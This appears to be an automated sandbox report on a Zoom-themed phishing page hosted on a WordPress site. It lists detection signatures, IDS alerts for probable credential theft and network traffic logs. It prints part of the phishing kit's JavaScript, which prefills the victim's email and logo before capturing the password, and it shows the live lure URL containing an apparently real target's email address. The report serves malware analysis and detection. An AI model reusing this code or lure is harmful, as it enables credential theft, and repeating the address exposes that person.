Edit tour

Windows Analysis Report
https://danse94.com/wp-content/upgrade/zoomvoicemail/chameleon/#rbaldridge@ah4r.com

Overview

General Information

Sample URL:	https://danse94.com/wp-content/upgrade/zoomvoicemail/chameleon/#rbaldridge@ah4r.com
Analysis ID:	1638903
Infos:

Detection

HTMLPhisher

Score:	68
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Suricata IDS alerts for network traffic

Yara detected HtmlPhish10

Javascript uses Clearbit API to dynamically determine company logos

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

Suricata IDS alerts with low severity for network traffic

URL contains potential PII (phishing indication)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3912 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 2572 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2072,i,6609634386094091069,1721947909626220489,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2104 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6300 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://danse94.com/wp-content/upgrade/zoomvoicemail/chameleon/#rbaldridge@ah4r.com" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Suricata Signatures

ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-15T00:02:53.649377+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.8	58733	104.18.27.193	443	TCP

ET PHISHING Terse POST to Wordpress Folder - Probable Successful Phishing

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-15T00:02:19.453156+0100	2031566	1	Successful Credential Theft Detected	192.168.2.8	49691	172.67.196.186	443	TCP
2025-03-15T00:02:40.690419+0100	2031566	1	Successful Credential Theft Detected	192.168.2.8	49714	172.67.196.186	443	TCP

ETPRO PHISHING Possible Successful Generic Phish July 28

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-15T00:02:19.453156+0100	2812237	1	Successful Credential Theft Detected	192.168.2.8	49691	172.67.196.186	443	TCP
2025-03-15T00:02:40.690419+0100	2812237	1	Successful Credential Theft Detected	192.168.2.8	49714	172.67.196.186	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://danse94.com/wp-content/upgrade/zoomvoicemail/chameleon/#rbaldridge@ah4r.com

Joe Sandbox AI: Score: 9 Reasons: The brand 'Zoom' is well-known and primarily associated with the domain 'zoom.us'., The provided URL 'danse94.com' does not match the legitimate domain for Zoom., The URL 'danse94.com' does not contain any recognizable elements related to Zoom, which is suspicious., The presence of input fields for 'Email address' and 'Password' on a non-legitimate domain is a common phishing tactic. DOM: 0.0.pages.csv

Yara detected HtmlPhish10

Source: Yara match

File source: 0.0.pages.csv, type: HTML

Javascript uses Clearbit API to dynamically determine company logos

Source: https://danse94.com/wp-content/upgrade/zoomvoicemail/chameleon/

HTTP Parser: function isbase64(str) { if (str === '' || string(str).trim() === '') {return false} try {if (btoa(atob(str)) == atob(btoa(str))) return true} catch {return false}}function getemail () { let email = ""; if (window.location.hash) { email = window.location.hash.substring(1); email = isbase64(email) ? window.atob(email) : email; } return email;} let count = 0, email = getemail(); document.addeventlistener('domcontentloaded', () => { if (email.match(/([a-za-z0-9._+-]+@[a-za-z0-9._-]+\.[a-za-z0-9._-]+)/gi)) { document.getelementbyid("email").value = email;let domain = email.substring(email.lastindexof("@") + 1);document.getelementbyid("img-field").src = `https://logo.clearbit.com/${domain}` } document.getelementbyid("submit-btn").addeventlistener("click", event => { event.preventdefault ? event.preventdefault() : event.returnvalue = false; let pswd = docu...

Source: https://danse94.com/wp-content/upgrade/zoomvoicemail/chameleon/#rbaldridge@ah4r.com

HTTP Parser: Number of links: 0

Source: https://danse94.com/wp-content/upgrade/zoomvoicemail/chameleon/#rbaldridge@ah4r.com

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://zoom.us/signin#/login

HTTP Parser: Base64 decoded: {"typ":"JWT","alg":"HS256"}

Source: https://danse94.com/wp-content/upgrade/zoomvoicemail/chameleon/#rbaldridge@ah4r.com

HTTP Parser: Title: Digital Secured Platform | Qualia does not match URL

Source: https://danse94.com/wp-content/upgrade/zoomvoicemail/chameleon/#rbaldridge@ah4r.com

Sample URL: PII: rbaldridge@ah4r.com

Source: https://zoom.us/signin#/login	HTTP Parser: Iframe src: https://a20673560014.cdn.optimizely.com/client_storage/a20673560014.html
Source: https://zoom.us/signin#/login	HTTP Parser: Iframe src: https://us01ccistatic.zoom.us/us01cci/web-sdk/cross-storage.html
Source: https://zoom.us/signin#/login	HTTP Parser: Iframe src: https://a20673560014.cdn.optimizely.com/client_storage/a20673560014.html
Source: https://zoom.us/signin#/login	HTTP Parser: Iframe src: https://us01ccistatic.zoom.us/us01cci/web-sdk/cross-storage.html
Source: https://zoom.us/signin#/login	HTTP Parser: Iframe src: https://a20673560014.cdn.optimizely.com/client_storage/a20673560014.html
Source: https://zoom.us/signin#/login	HTTP Parser: Iframe src: https://us01ccistatic.zoom.us/us01cci/web-sdk/cross-storage.html
Source: https://zoom.us/signin#/login	HTTP Parser: Iframe src: https://s.company-target.com/s/sync?exc=lr
Source: https://zoom.us/signin#/login	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/927508153?random=1741993372760&cv=11&fst=1741993372760&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be53d0v880891040z871201097za201zb886803496&gcd=13l3l3l3l1l1&dma=0&tag_exp=102482433~102587591~102717422~102788824~102813109~102814060~102825837~102879719&u_w=1280&u_h=1024&url=https%3A%2F%2Fzoom.us%2Fsignin&ref=https%3A%2F%2Fdanse94.com%2F&label=1hQFCN-QqK4DELnNoroD&hn=www.googleadservices.com&frm=0&tiba=Sign%20In%20%7C%20Zoom&npa=0&pscdl=label_only_3&auid=535026956.1741993368&uaa=x86&uab=64&uafvl=Chromium%3B134.0.6998.36%7CNot%253AA-Brand%3B24.0.0.0%7CGoogle%2520Chrome%3B134.0.6998.36&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&_tu=Cg
Source: https://zoom.us/signin#/login	HTTP Parser: Iframe src: https://9513928.fls.doubleclick.net/activityi;src=9513928;type=rmktp0;cat=rmkt-0;ord=1418350171161;npa=0;auiddc=535026956.1741993368;u7=%2Fsignin;u9=unclassified;ps=1;pcor=1291511231;uaa=x86;uab=64;uafvl=Chromium%3B134.0.6998.36%7CNot%253AA-Brand%3B24.0.0.0%7CGoogle%2520Chrome%3B134.0.6998.36;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=label_only_3;frm=0;_tu=Kg;gtm=45fe53d0v9189923985z871201097za201zb886803496;gcd=13l3l3l3l1l1;dma=0;dc_fmt=1;tag_exp=102482433~102587591~102717422~102788824~102813109~102814060~102825837~102879719;epver=2;~oref=https%3A%2F%2Fzoom.us%2Fsignin?
Source: https://zoom.us/signin#/login	HTTP Parser: Iframe src: https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=9513928;type=rmktp0;cat=rmkt-0;ord=1418350171161;npa=0;auiddc=535026956.1741993368;u7=%2Fsignin;u9=unclassified;ps=1;pcor=1291511231;uaa=x86;uab=64;uafvl=Chromium%3B134.0.6998.36%7CNot%253AA-Brand%3B24.0.0.0%7CGoogle%2520Chrome%3B134.0.6998.36;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=label_only_3;frm=0;_tu=Kg;gtm=45fe53d0v9189923985z871201097za201zb886803496;gcd=13l3l3l3l1l1;dma=0;dc_fmt=9;tag_exp=102482433~102587591~102717422~102788824~102813109~102814060~102825837~102879719;epver=2;~oref=https%3A%2F%2Fzoom.us%2Fsignin?
Source: https://zoom.us/signin#/login	HTTP Parser: Iframe src: https://a20673560014.cdn.optimizely.com/client_storage/a20673560014.html
Source: https://zoom.us/signin#/login	HTTP Parser: Iframe src: https://us01ccistatic.zoom.us/us01cci/web-sdk/cross-storage.html
Source: https://zoom.us/signin#/login	HTTP Parser: Iframe src: https://s.company-target.com/s/sync?exc=lr
Source: https://zoom.us/signin#/login	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/927508153?random=1741993372760&cv=11&fst=1741993372760&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be53d0v880891040z871201097za201zb886803496&gcd=13l3l3l3l1l1&dma=0&tag_exp=102482433~102587591~102717422~102788824~102813109~102814060~102825837~102879719&u_w=1280&u_h=1024&url=https%3A%2F%2Fzoom.us%2Fsignin&ref=https%3A%2F%2Fdanse94.com%2F&label=1hQFCN-QqK4DELnNoroD&hn=www.googleadservices.com&frm=0&tiba=Sign%20In%20%7C%20Zoom&npa=0&pscdl=label_only_3&auid=535026956.1741993368&uaa=x86&uab=64&uafvl=Chromium%3B134.0.6998.36%7CNot%253AA-Brand%3B24.0.0.0%7CGoogle%2520Chrome%3B134.0.6998.36&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&_tu=Cg
Source: https://zoom.us/signin#/login	HTTP Parser: Iframe src: https://9513928.fls.doubleclick.net/activityi;src=9513928;type=rmktp0;cat=rmkt-0;ord=1418350171161;npa=0;auiddc=535026956.1741993368;u7=%2Fsignin;u9=unclassified;ps=1;pcor=1291511231;uaa=x86;uab=64;uafvl=Chromium%3B134.0.6998.36%7CNot%253AA-Brand%3B24.0.0.0%7CGoogle%2520Chrome%3B134.0.6998.36;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=label_only_3;frm=0;_tu=Kg;gtm=45fe53d0v9189923985z871201097za201zb886803496;gcd=13l3l3l3l1l1;dma=0;dc_fmt=1;tag_exp=102482433~102587591~102717422~102788824~102813109~102814060~102825837~102879719;epver=2;~oref=https%3A%2F%2Fzoom.us%2Fsignin?
Source: https://zoom.us/signin#/login	HTTP Parser: Iframe src: https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=9513928;type=rmktp0;cat=rmkt-0;ord=1418350171161;npa=0;auiddc=535026956.1741993368;u7=%2Fsignin;u9=unclassified;ps=1;pcor=1291511231;uaa=x86;uab=64;uafvl=Chromium%3B134.0.6998.36%7CNot%253AA-Brand%3B24.0.0.0%7CGoogle%2520Chrome%3B134.0.6998.36;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=label_only_3;frm=0;_tu=Kg;gtm=45fe53d0v9189923985z871201097za201zb886803496;gcd=13l3l3l3l1l1;dma=0;dc_fmt=9;tag_exp=102482433~102587591~102717422~102788824~102813109~102814060~102825837~102879719;epver=2;~oref=https%3A%2F%2Fzoom.us%2Fsignin?
Source: https://zoom.us/signin#/login	HTTP Parser: Iframe src: https://insight.adsrvr.org/track/up?adv=zqwm10r&ref=https%3A%2F%2Fzoom.us%2Fsignin%23%2Flogin&upid=la5n4xj&upv=1.1.0&paapi=1

Source: https://danse94.com/wp-content/upgrade/zoomvoicemail/chameleon/#rbaldridge@ah4r.com

HTTP Parser: <input type="password" .../> found

Source: https://zoom.us/signin#/login	HTTP Parser: No favicon
Source: https://zoom.us/signin#/login	HTTP Parser: No favicon
Source: https://zoom.us/signin#/login	HTTP Parser: No favicon
Source: https://zoom.us/signin#/login	HTTP Parser: No favicon
Source: https://zoom.us/signin#/login	HTTP Parser: No favicon
Source: https://zoom.us/signin#/login	HTTP Parser: No favicon
Source: https://zoom.us/signin#/login	HTTP Parser: No favicon
Source: https://zoom.us/signin#/login	HTTP Parser: No favicon
Source: https://zoom.us/signin#/login	HTTP Parser: No favicon

Source: https://danse94.com/wp-content/upgrade/zoomvoicemail/chameleon/#rbaldridge@ah4r.com	HTTP Parser: No <meta name="author".. found
Source: https://zoom.us/signin#/login	HTTP Parser: No <meta name="author".. found
Source: https://zoom.us/signin#/login	HTTP Parser: No <meta name="author".. found
Source: https://zoom.us/signin#/login	HTTP Parser: No <meta name="author".. found
Source: https://zoom.us/signin#/login	HTTP Parser: No <meta name="author".. found

Source: https://danse94.com/wp-content/upgrade/zoomvoicemail/chameleon/#rbaldridge@ah4r.com	HTTP Parser: No <meta name="copyright".. found
Source: https://zoom.us/signin#/login	HTTP Parser: No <meta name="copyright".. found
Source: https://zoom.us/signin#/login	HTTP Parser: No <meta name="copyright".. found
Source: https://zoom.us/signin#/login	HTTP Parser: No <meta name="copyright".. found
Source: https://zoom.us/signin#/login	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.250.185.228:443 -> 192.168.2.8:49689 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.196.186:443 -> 192.168.2.8:49690 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.196.186:443 -> 192.168.2.8:49691 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.8:49693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.11.207:443 -> 192.168.2.8:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.11.207:443 -> 192.168.2.8:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.8:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.32.27.14:443 -> 192.168.2.8:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.32.27.77:443 -> 192.168.2.8:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.237:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 170.114.52.2:443 -> 192.168.2.8:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 170.114.52.2:443 -> 192.168.2.8:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.38:443 -> 192.168.2.8:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.38:443 -> 192.168.2.8:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.56:443 -> 192.168.2.8:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.56:443 -> 192.168.2.8:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.56:443 -> 192.168.2.8:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.56:443 -> 192.168.2.8:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.56:443 -> 192.168.2.8:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.56:443 -> 192.168.2.8:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.56:443 -> 192.168.2.8:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.56:443 -> 192.168.2.8:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.56:443 -> 192.168.2.8:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.56:443 -> 192.168.2.8:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.56:443 -> 192.168.2.8:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.60:443 -> 192.168.2.8:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.60:443 -> 192.168.2.8:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.86.42:443 -> 192.168.2.8:58647 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.54:443 -> 192.168.2.8:58649 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 170.114.52.2:443 -> 192.168.2.8:58652 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.86.42:443 -> 192.168.2.8:58653 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.152.14:443 -> 192.168.2.8:58654 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.65.57:443 -> 192.168.2.8:58659 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.56:443 -> 192.168.2.8:58656 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.56:443 -> 192.168.2.8:58657 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.155.119:443 -> 192.168.2.8:58663 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.80.73:443 -> 192.168.2.8:58664 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.54:443 -> 192.168.2.8:58669 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.87.42:443 -> 192.168.2.8:58670 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.155.119:443 -> 192.168.2.8:58671 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.63:443 -> 192.168.2.8:58672 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.100:443 -> 192.168.2.8:58676 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.253.1:443 -> 192.168.2.8:58681 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 88.221.110.136:443 -> 192.168.2.8:58680 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.31.176:443 -> 192.168.2.8:58679 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.71.105:443 -> 192.168.2.8:58685 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.245.46.44:443 -> 192.168.2.8:58684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.37.212:443 -> 192.168.2.8:58678 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 183.79.249.124:443 -> 192.168.2.8:58682 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.84.151.43:443 -> 192.168.2.8:58691 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.37.212:443 -> 192.168.2.8:58693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.186.249.72:443 -> 192.168.2.8:58694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.220.103.163:443 -> 192.168.2.8:58695 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.21.65.158:443 -> 192.168.2.8:58701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.21.65.158:443 -> 192.168.2.8:58699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.21.65.158:443 -> 192.168.2.8:58698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.49.241.189:443 -> 192.168.2.8:58700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.245.86.69:443 -> 192.168.2.8:58692 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.42.14:443 -> 192.168.2.8:58703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.12.190.209:443 -> 192.168.2.8:58696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.96.71.22:443 -> 192.168.2.8:58711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.174.68:443 -> 192.168.2.8:58715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.42.14:443 -> 192.168.2.8:58709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.66.102.75:443 -> 192.168.2.8:58712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.227.211.136:443 -> 192.168.2.8:58719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.206.41.94:443 -> 192.168.2.8:58722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.42.14:443 -> 192.168.2.8:58721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.117.43:443 -> 192.168.2.8:58728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.187.41:443 -> 192.168.2.8:58727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.95.127.121:443 -> 192.168.2.8:58729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.206.41.94:443 -> 192.168.2.8:58730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.227.211.136:443 -> 192.168.2.8:58732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.150.44:443 -> 192.168.2.8:58731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.117.43:443 -> 192.168.2.8:58735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.27.193:443 -> 192.168.2.8:58733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.94.48.182:443 -> 192.168.2.8:58740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.50:443 -> 192.168.2.8:58737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.245.86.69:443 -> 192.168.2.8:58734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.50:443 -> 192.168.2.8:58736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.50:443 -> 192.168.2.8:58738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.117.43:443 -> 192.168.2.8:58741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.173.144.165:443 -> 192.168.2.8:58739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.41.41:443 -> 192.168.2.8:58743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.95.127.121:443 -> 192.168.2.8:58742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.12.190.209:443 -> 192.168.2.8:58745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.226:443 -> 192.168.2.8:58746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.98:443 -> 192.168.2.8:58747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.253.35:443 -> 192.168.2.8:58748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.253.35:443 -> 192.168.2.8:58749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 134.224.0.54:443 -> 192.168.2.8:58750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.230:443 -> 192.168.2.8:58754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.98:443 -> 192.168.2.8:58753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.38:443 -> 192.168.2.8:58755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.118.43:443 -> 192.168.2.8:58759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.87.64.105:443 -> 192.168.2.8:58758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.172.103.101:443 -> 192.168.2.8:58756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.26.193:443 -> 192.168.2.8:58765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.173.144.165:443 -> 192.168.2.8:58760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 170.114.65.138:443 -> 192.168.2.8:58764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.0.35:443 -> 192.168.2.8:58763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.0.35:443 -> 192.168.2.8:58766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.251.35:443 -> 192.168.2.8:58767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.70:443 -> 192.168.2.8:58771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.102:443 -> 192.168.2.8:58772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.223.40.198:443 -> 192.168.2.8:58773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.132:443 -> 192.168.2.8:58775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.223.185.57:443 -> 192.168.2.8:58776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.197.193.217:443 -> 192.168.2.8:58778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.98:443 -> 192.168.2.8:58777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.172.103.101:443 -> 192.168.2.8:58780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.162:443 -> 192.168.2.8:58781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.217.162.120:443 -> 192.168.2.8:58782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.194:443 -> 192.168.2.8:58784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.89.210.82:443 -> 192.168.2.8:58783 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2031566 - Severity 1 - ET PHISHING Terse POST to Wordpress Folder - Probable Successful Phishing : 192.168.2.8:49691 -> 172.67.196.186:443
Source: Network traffic	Suricata IDS: 2031566 - Severity 1 - ET PHISHING Terse POST to Wordpress Folder - Probable Successful Phishing : 192.168.2.8:49714 -> 172.67.196.186:443

Source: global traffic

TCP traffic: 192.168.2.8:58646 -> 162.159.36.2:53

Source: Network traffic	Suricata IDS: 2812237 - Severity 1 - ETPRO PHISHING Possible Successful Generic Phish July 28 : 192.168.2.8:49691 -> 172.67.196.186:443
Source: Network traffic	Suricata IDS: 2812237 - Severity 1 - ETPRO PHISHING Possible Successful Generic Phish July 28 : 192.168.2.8:49714 -> 172.67.196.186:443
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.8:58733 -> 104.18.27.193:443

Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.201.147
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60

